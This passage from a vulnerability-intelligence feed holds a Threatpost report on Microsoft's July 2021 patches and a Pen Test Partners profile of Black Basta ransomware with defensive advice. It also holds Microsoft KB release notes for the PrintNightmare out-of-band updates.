Server. In all, Microsoft patched 116 bugs. Twelve bugs are rated critical, 103 rated important and one classified as moderate in severity.\n\nBugs under active attack include a critical scripting engine memory corruption ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>)) flaw and two additional Windows kernel elevation-of-privilege vulnerabilities ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>), [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)), both with a severity rating of important. \n[](<https://threatpost.com/newsletter-sign/>)The hundred-plus bug fixes add to a rough July for Microsoft, which rolled out an out-of-band fix for a Windows print spooler remote-code-execution vulnerability ([CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>)), dubbed [PrintNightmare](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), earlier this month. The nightmare bug, first disclosed in April, was later discovered to be more serious than initially thought.\n\n## **Public, But Not Exploited **\n\nFive of the bugs patched by Microsoft ([CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-33781](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33781>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), [CVE-2021-33779](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33779>), [CVE-2021-34492](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34492>)) were publicly known, albeit not exploited. Only one of those bugs (CVE-2021-34473), a Microsoft Exchange Server remote code execution (RCE) vulnerability, has a severity rating of critical, with a CVSS score of 9.1. The bug, one of the highest rated in terms of importance to fix this month, was part of Microsoft\u2019s April Patch Tuesday roundup of fixes, according to commentary by [Cisco Talos](<https://blog.talosintelligence.com/2021/07/microsoft-patch-tuesday-for-july-2021.html>).\n\n\u201cThis vulnerability was already patched in Microsoft\u2019s April security update but was mistakenly not disclosed. Users who already installed the April 2021 update are already protected from this vulnerability, though it is worth noting that this issue was part of a series of zero-days in Exchange Server used in a wide-ranging APT attack,\u201d wrote Talos authors Jon Munshaw and Jaeson Schultz.\n\n## **Patching Priorities **\n\nThe most pressing of bugs is a memory corruption vulnerability (CVE-2021-34448) in Windows Server\u2019s scripting engine that is triggered when the user opens a specially crafted file, either attached to an email or a compromised website.\n\n\u201c[This bug] is the most serious vulnerability for me. It is elegant in its simplicity, letting an attacker gain remote code execution just by getting the target to visit a domain,\u201d wrote Kevin Breen, director of cyber threat research with Immersive Labs, in his Patch Tuesday commentary. \u201cWith malicious, yet professional looking, domains carrying valid TLS certificates a regular feature nowadays, seamless compromise would be a trivial matter. Victims could even be attacked by sending .js or .hta files in targeted phishing emails.\u201d\n\nCisco Talos advises system admin to prioritize a patch for a critical bug ([CVE-2021-34464](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34464>)) in Microsoft\u2019s free Defender anti-virus software. \u201cThis issue could allow an attacker to execute remote code on the victim machine. However, users do not need to take any actions to resolve this issue, as the update will automatically install. The company has listed steps in its advisory users can take to ensure the update is properly installed,\u201d wrote Munshaw and Schultz.\n\nResearchers have also identified three SharePoint Server bugs ([CVE-2021-34520](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34520>), [CVE-2021-34467](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34467>), [CVE-2021-34468](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34468>)) as priority patches. Each allow an attacker to execute remote code on the victim machine. All are rated important. However, Microsoft reports that exploitation is \u201cmore likely\u201d with these vulnerabilities, Talos said.\n\nZero Day Initiative\u2019s Dustin Childs recommends tackling ([CVE-2021-34458](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34458>)), a Windows kernel vulnerability. \u201cIt\u2019s rare to see remote code execution in a kernel bug, but this is that rare exception. This bug impacts systems hosting virtual machines with single root input/output virtualization (SR-IOV) devices,\u201d [he wrote](<https://www.zerodayinitiative.com/blog/2021/7/13/the-july-2021-security-update-review>).\n\n\u201cIt\u2019s not clear how widespread this configuration is, but considering this bug rates as a CVSS 9.9, it\u2019s not one to ignore. If you have virtual machines in your environment, test and patch quickly,\u201d Childs added.\n\nIn related news, [Adobe\u2019s July patch roundup](<https://threatpost.com/adobe-patches-critical-acrobat/167743/>), also released Tuesday, includes fixes for its ubiquitous and free PDF reader Acrobat 2020 and other software such as Illustrator and Bridge. In all, Adobe patched 20 Acrobat bugs, with nine rated important.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-13T21:26:27", "type": "threatpost", "title": "Microsoft Crushes 116 Bugs, Three Actively Exploited", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34464", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34520", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-13T21:26:27", "id": "THREATPOST:98D815423018872E6E596DAA8131BF3F", "href": "https://threatpost.com/microsoft-crushes-116-bugs/167764/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "pentestpartners": [{"lastseen": "2023-08-06T19:44:28", "description": "\n\n### What is Black Basta ransomware?\n\nBlack Basta is a threat group that provides ransomware-as-a-service (RaaS). \n\nThe service is maintained by dedicated developers and is a highly efficient and professionally run operation; there's a TOR website that provides a victim login portal, a chat room, and a wall of company\u2019s names who\u2019s data has been leaked. \n\nThe group first surfaced in 2022, with intel suggesting that the group was buying up stolen credentials on various dark markets. Reports of attacks came soon after. They\u2019re currently in second place, trailing only Lockbit in ransomware attacks globally, targeting a wide array of industries notably in Europe and the US. \n\nVictim chat / login portal:\n\n\n\nNews board (obfuscated) publishing data leaks:\n\n\n\nIn addition to the usual year on year double-digit percentage increase in ransomware attacks, BlackBasta has had a huge uptick in attacks since October 2022 landing some high profile victims such as [Marshall Amplification](<https://thecyberexpress.com/marshall-hacked-black-basta-ransomware-group/>) and [Capita IT](<https://www.theregister.com/2023/04/18/capita_breach_gets_worse/>).\n\nThey are also infamous for their double-extortion methods, stealing data as well as encrypting it. This piles on the pressure for victims and provides another avenue in selling on the ill gotten information.\n\nThey\u2019re believed to be a geographically Russian based group, and based on attack pattern analysis and observed tactics; they\u2019re also likely an offshoot, or related to the Conti ransomware family. \n\nThe well-organised nature and high volume of attacks, combined with a distinct lack of affiliate recruitment on the usual DarkNet sites has given rise to the speculation that the group is state-sponsored.\n\n### Slick professionals\n\nWhat takes a lot of people by surprise is the slick professionalism of these threat actors. They are labelled ransomware 'gangs' but that downplays how they operate. Black Basta is no different.\n\nSwap the shady dark web site for a service desk and support portal, seized and stolen PII data for business deals in the hundreds of thousands of dollars, and the idea of a lone nerdy hacker in their bedroom for a hierarchical, structured company with various departments, promotion opportunities, and 3rd party outsourcing.\n\nChat logs for Black Basta now in the public domain show:\n\n * Technical assistance being offered\n * Cryptocurrency tutorials\n * Friendly interactions with clients\n\nThere are even promises of forensic reports, detailing the vulnerabilities that have been used to gain access in the first instance.\n\nThese levels of service should act as a stark reminder of the sophistication involved.\n\n### How are they targeting victims?\n\nThis isn\u2019t a spray and pray approach. Companies are selected and targeted. \n\nSpear phishing emails are sent to valid accounts containing malicious payloads - most commonly Microsoft OneNote (.one) as attachments, but has also been seen using other Microsoft document file formats. Opening these files will often show a \u201cCLICK HERE TO VIEW IN OFFICE 365\u201d image (an attempt to confuse potential victims)..\n\n\n\nLurking under the image is a file that will reach out to a malicious URL and download further malware \n\n\n\n### What do they do once they\u2019re inside?\n\nBlack Basta uses PowerShell scripts to gather as much information as possible about the system or network it has landed on, it will pivot around and execute further executables using PSExec, RDP and / or WMI. It will also attempt to disable antivirus, use Mimikatz to further harvest credentials.\n\nThe critical flaw in Windows that is allowing the widespread and damaging attacks to take place is through vulnerabilities CVE-2021-1675 and CVE-2021-34527, or the \u201cPrintNightmare\u201d exploit. This occurs in the print spooler service, leading to privilege escalation and / or remote code execution. Black Basta harness this to deploy the Cobalt Strike beacon that allows a persistence mechanism and the ability to deploy further payloads. \n\nInevitably the end goal is encryption and exfiltration of data (through rclone, interestingly), and a cursory sweep of volume shadow copy deletion to inhibit recover even further. \n\nDesktops are defaced with the group\u2019s branding, and text documents are scattered in affected directories with instructions on what they want you to do next.\n\nRecently a Linux variant of the malware was spotted in the wild, targeting EXSi hosts. This is not just for Windows environments! And as you can imagine, hitting a core Hypervisor can be absolutely devastating to an organisation.\n\n### Tactics, Techniques, and Procedures (TTPs)\n\n\n\n### What can be done to mitigate?\n\nThe key point of infiltration here is user interaction. The use of OneNote files has caught people unawares. Combining that with references to Office 365, broadly named files and legitimate looking usernames can provide the right mix of confidence and mis-understanding to proceed.\n\nCyber Awareness training including educating colleagues to never open attachments without a complete understanding of what they pertain to, giving extra attention to external senders. \nIn addition, preventing such emails from ever reaching their destination is even more effective. Is it usual for third parties to email unexpected and unrequested files? If not, don\u2019t let them in.\n\nBlackBasta leverages WMI, PowerShell and the Remote Desktop Protocol. Prevent these from being executed on non-critical network endpoints and the ability to pivot around the network or even perform reconnaissance is severely hindered. \n\nPatch patch patch! We have seen that Black Basta leverages the PrintNightmare exploits to gain a foothold on a victim network. It only takes a second to pivot to another methodology, so ensuring all operating system and applications (especially antivirus) are kept completely up to date. \n\nRansomware encryption can be mitigated with isolated and up-to-date backups which can be restored once the network is safe. Data theft is much harder to row back from. Consider implementing Intrusion Detection systems (IDS) or upgrade to Next-generation Firewalls (NGFW). These platforms will monitor traffic at a deeper level and in real time to detect and prevent the egress of unauthorised data from emerging threats.\n\n### Help. I\u2019ve already been infected with Black Basta\n\nImmediately disconnect the infected computers or laptops from all network connections.\n\nIn a very serious case where the ransomware has already taken hold on multiple hosts, consider whether turning off your Wi-Fi, disabling any core network connections (including switches), and disconnecting from the internet might be necessary. An ideal move here is to block all internet traffic, allowing key services through one-by-one. But the ability to do this can depend on your business and your systems administration setup.\n\nReset credentials including passwords (especially for administrator and other system accounts) - but verify that you are not locking yourself out of systems that are needed for recovery.\n\nMonitor network traffic and run antivirus scans globally to see where else has been hit. Any log preservation is crucial at this point, so be sure to retain them as quickly as possible in a safe location.\n\nThe post [Black Basta ransomware](<https://www.pentestpartners.com/security-blog/black-basta-ransomware/>) first appeared on [Pen Test Partners](<https://www.pentestpartners.com>).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-06-28T05:11:34", "type": "pentestpartners", "title": "Black Basta ransomware", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2023-06-28T05:11:34", "id": "PENTESTPARTNERS:6636EE51C46282492E9A91509CBA5C4B", "href": "https://www.pentestpartners.com/security-blog/black-basta-ransomware/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "mskb": [{"lastseen": "2023-11-28T09:54:39", "description": "None\n**EXPIRATION NOTICE****IMPORTAN**T As of 9/12/2023, this KB is only available from Windows Update. It is no longer available from the Microsoft Update Catalog or other release channels. We recommend that you update your devices to the latest security quality update. \n\n**6/21/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**11/17/20**For information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 2004 update history [home page](<https://support.microsoft.com/en-us/help/4555932>). \n**Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n## Improvements and fixes\n\n**Note: **To view the list of addressed issues, click or tap the OS name to expand the collapsible section.\n\n### \n\n__\n\nWindows 10 servicing stack update - 19041.1081, 19042.1081, and 19043.1081\n\n * This update makes quality improvements to the servicing stack, which is the component that installs Windows updates. Servicing stack updates (SSU) ensure that you have a robust and reliable servicing stack so that your devices can receive and install Microsoft updates.\n\n### \n\n__\n\nWindows 10, version 21H1\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 20H2\n\nThis security update includes quality improvements. Key changes include:\n\n * This build includes all the improvements from Windows 10, version 2004.\n * No additional issues were documented for this release.\n\n### \n\n__\n\nWindows 10, version 2004\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.\n\n**Windows Update Improvements** \n \nMicrosoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\n### \n\n__\n\nClick or tap to view the known issues\n\n**Symptoms**| **Workaround** \n---|--- \nWhen using the Microsoft Japanese Input Method Editor (IME) to enter Kanji characters in an app that automatically allows the input of Furigana characters, you might not get the correct Furigana characters. You might need to enter the Furigana characters manually.**Note **The affected apps are using the **ImmGetCompositionString()** function.| This issue is resolved in KB5005101. \nDevices with Windows installations created from custom offline media or custom ISO image might have [Microsoft Edge Legacy](<https://support.microsoft.com/en-us/microsoft-edge/what-is-microsoft-edge-legacy-3e779e55-4c55-08e6-ecc8-2333768c0fb0>) removed by this update, but not automatically replaced by the new Microsoft Edge. This issue is only encountered when custom offline media or ISO images are created by slipstreaming this update into the image without having first installed the standalone servicing stack update (SSU) released March 29, 2021 or later.**Note **Devices that connect directly to Windows Update to receive updates are not affected. This includes devices using Windows Update for Business. Any device connecting to Windows Update should always receive the latest versions of the SSU and latest cumulative update (LCU) without any extra steps.| To avoid this issue, be sure to first slipstream the SSU released March 29, 2021 or later into the custom offline media or ISO image before slipstreaming the LCU. To do this with the combined SSU and LCU packages now used for Windows 10, version 20H2 and Windows 10, version 2004, you will need to extract the SSU from the combined package. Use the following steps to extract the SSU:\n\n 1. Extract the cab from the msu via this command line (using the package for KB5000842 as an example): **expand Windows10.0-KB5000842-x64.msu /f:Windows10.0-KB5000842-x64.cab <destination path>**\n 2. Extract the SSU from the previously extracted cab via this command line: **expand Windows10.0-KB5000842-x64.cab /f:* <destination path>**\n 3. You will then have the SSU cab, in this example named **SSU-19041.903-x64.cab**. Slipstream this file into your offline image first, then the LCU.\nIf you have already encountered this issue by installing the OS using affected custom media, you can mitigate it by directly installing the [new Microsoft Edge](<https://www.microsoft.com/edge>). If you need to broadly deploy the new Microsoft Edge for business, see [Download and deploy Microsoft Edge for business](<https://www.microsoft.com/edge/business/download>). \nAfter installing this update, you might have issues printing to certain printers. Various brands and models are affected, primarily receipt or label printers that connect via USB.**Note **This issue is not related to [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) or [CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>).| This issue is resolved in KB5004237. \nAfter installing the May 25, 2021 (KB5003214) and June 21, 2021 (KB5003690) updates, some devices cannot install new updates, such as the July 6, 2021 (KB5004945) or later updates. You will receive the error message, \"PSFX_E_MATCHING_BINARY_MISSING\".| For more information and a workaround, see KB5005322. \nUniversal Windows Platform (UWP) apps might not open on devices that have undergone a Windows device reset. This includes operations that were initiated using Mobile Device Management (MDM), such as Reset this PC, Push-button reset, and Autopilot Reset. UWP apps you downloaded from the Microsoft Store are not affected. Only a limited set of apps are affected, including:\n\n * App packages with framework dependencies\n * Apps that are provisioned for the device, not per user account.\nThe affected apps will fail to open without error messages or other observable symptoms. They must be re-installed to restore functionality.| This issue is addressed in KB5015878 for all releases starting June 21, 2021 and later. \n \n## How to get this update\n\n**Before installing this update**Microsoft now combines the latest servicing stack update (SSU) for your operating system with the latest cumulative update (LCU). For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.Prerequisite:For Windows Server Update Services (WSUS) deployment:\n\n * Install the May 11, 2021 update (KB5003173) before you install the latest cumulative update.\nFor offline Deployment Image Servicing and Management (**DISM.exe**) deployment:\n\n * If an image does not have the February 24, 2021 (KB4601382) or later cumulative update, install the January 12, 2021 SSU (KB4598481) and the May 11, 2021 update (KB5003173).\n**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update or Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| No| No longer available. \nMicrosoft Update Catalog| No| No longer available. \nWindows Server Update Services (WSUS)| No| No longer available. \n \n**If you want to remove the LCU**To remove the LCU after installing the combined SSU and LCU package, use the [DISM/Remove-Package](<https://docs.microsoft.com/en-us/windows-hardware/manufacture/desktop/dism-operating-system-package-servicing-command-line-options>) command line option with the LCU package name as the argument. You can find the package name by using this command: **DISM /online /get-packages**.Running [Windows Update Standalone Installer](<https://support.microsoft.com/en-us/topic/description-of-the-windows-update-standalone-installer-in-windows-799ba3df-ec7e-b05e-ee13-1cdae8f23b19>) (**wusa.exe**) with the **/uninstall **switch on the combined package will not work because the combined package contains the SSU. You cannot remove the SSU from the system after installation.\n\n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5004945](<https://download.microsoft.com/download/6/0/4/6046cc97-919a-434d-86de-db2fe63580d0/5004945.csv>). For a list of the files that are provided in the servicing stack update, download the [file information for the SSU - version 19041.1081, 19042.1081, and 19043.1081](<https://download.microsoft.com/download/6/2/d/62d4d81c-0498-4abf-95e7-b9be18ddcabd/SSU_version_19041_1081.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004945 (OS Builds 19041.1083, 19042.1083, and 19043.1083) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004945", "href": "https://support.microsoft.com/en-us/help/5004945", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-19T10:52:08", "description": "None\n**6/15/21 \nIMPORTANT **This release includes the Flash Removal Package. Taking this update will remove Adobe Flash from the machine. For more information, see the [Update on Adobe Flash Player End of Support](<https://blogs.windows.com/msedgedev/2020/09/04/update-adobe-flash-end-support/>).\n\n**5/11/21** \n**REMINDER **Windows 10, version 1909 reached end of service on May 11, 2021 for devices running the Home, Pro, Pro for Workstation, Nano Container, and Server SAC editions. After May 11, 2021, these devices will no longer receive monthly security and quality updates that contain protection from the latest security threats. To continue receiving security and quality updates, Microsoft recommends updating to the latest version of Windows 10We will continue to service the following editions: Enterprise, Education, and IoT Enterprise.\n\n**11/19/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1909 update history home page.**Note **Follow [@WindowsUpdate](<https://twitter.com/windowsupdate>) to find out when new content is published to the release information dashboard.\n\n## Highlights\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device. \n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\nMicrosoft is not currently aware of any issues with this update.\n\n## How to get this update\n\n**Before installing this update**Prerequisite:You must install the April 13, 2021 servicing stack update (SSU) (KB5001406) or the latest SSU (KB5003974) before installing the latest cumulative update (LCU). SSUs improve the reliability of the update process to mitigate potential issues while installing the LCU. For general information about SSUs, see [Servicing stack updates](<https://docs.microsoft.com/en-us/windows/deployment/update/servicing-stack-updates>) and Servicing Stack Updates (SSU): Frequently Asked Questions.If you are using Windows Update, the latest SSU will be offered to you automatically. To get the standalone package for the latest SSU, search for it in the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/home.aspx>).**Install this update****Release Channel**| **Available**| **Next Step** \n---|---|--- \nWindows Update or Microsoft Update| Yes| None. This update will be downloaded and installed automatically from Windows Update. \nWindows Update for Business| Yes| None. This update will be downloaded and installed automatically from Windows Update in accordance with configured policies. \nMicrosoft Update Catalog| Yes| To get the standalone package for this update, go to the [Microsoft Update Catalog](<https://www.catalog.update.microsoft.com/Search.aspx?q=KB5004946>) website. \nWindows Server Update Services (WSUS)| Yes| This update will automatically sync with WSUS if you configure **Products and Classifications** as follows:**Product**: Windows 10, version 1903 and later**Classification**: Security Updates \n**File information**For a list of the files that are provided in this update, download the [file information for cumulative update 5004946](<https://download.microsoft.com/download/3/8/0/380275c2-0d42-4deb-a865-5059529c83f5/5004946.csv>). \n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-01T07:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004946 (OS Build 18363.1646) Out-of-band", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-01T07:00:00", "id": "KB5004946", "href": "https://support.microsoft.com/en-us/help/5004946", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2023-11-28T09:54:40", "description": "None\n**EXPIRATION NOTICE****IMPORTAN**T As of 9/12/2023, this KB is no longer available from Windows Update, the Microsoft Update Catalog, or other release channels. We recommend that you update your devices to the latest security quality update. \n\n**12/8/20** \nFor information about Windows update terminology, see the article about the [types of Windows updates](<https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/standard-terminology-software-updates>) and the [monthly quality update types](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/windows-quality-updates-primer/ba-p/2569385>). To view other notes and messages, see the Windows 10, version 1507 update history home page.\n\n## Highlights\n\n * Updates a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>).\n\n## Improvements and fixes\n\nThis security update includes quality improvements. Key changes include:\n\n * Addresses a remote code execution exploit in the Windows Print Spooler service, known as \u201cPrintNightmare\u201d, as documented in [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>). After installing this and later Windows updates, users who are not administrators can only install signed print drivers to a print server. By default, administrators can install signed and unsigned printer drivers to a print server. The installed root certificates in the system\u2019s Trusted Root Certification Authorities trusts signed drivers. Microsoft recommends that you immediately install this update on all supported Windows client and server operating system, starting with devices that currently host the print server role. You also have the option to configure the **RestrictDriverInstallationToAdministrators** registry setting to prevent non-administrators from installing signed printer drivers on a print server. For more information, see KB5005010.\nIf you installed earlier updates, only the new fixes contained in this package will be downloaded and installed on your device.For more information about the resolved security vulnerabilities, please refer to the new [Security Update Guide](<https://msrc.microsoft.com/update-guide>) website.\n\n**Windows Update Improvements**Microsoft has released an update directly to the Windows Update client to improve reliability. Any device running Windows 10 configured to receive updates automatically from Windows Update, including Enterprise and Pro editions, will be offered the latest Windows 10 feature update based on device compatibility and Windows Update for Business deferral policy. This doesn't apply to long-term servicing editions.\n\n## Known issues in this update\n\nMicrosoft is not currently aware of any issues with this update.\n\n## How to get this update\n\nThis update is no longer available.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-06T00:00:00", "type": "mskb", "title": "July 6, 2021\u2014KB5004950 (OS Build 10240.18969) Out-of-band - EXPIRED", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-07-06T00:00:00", "id": "KB5004950", "href": "https://support.microsoft.com/en-us/help/5004950", 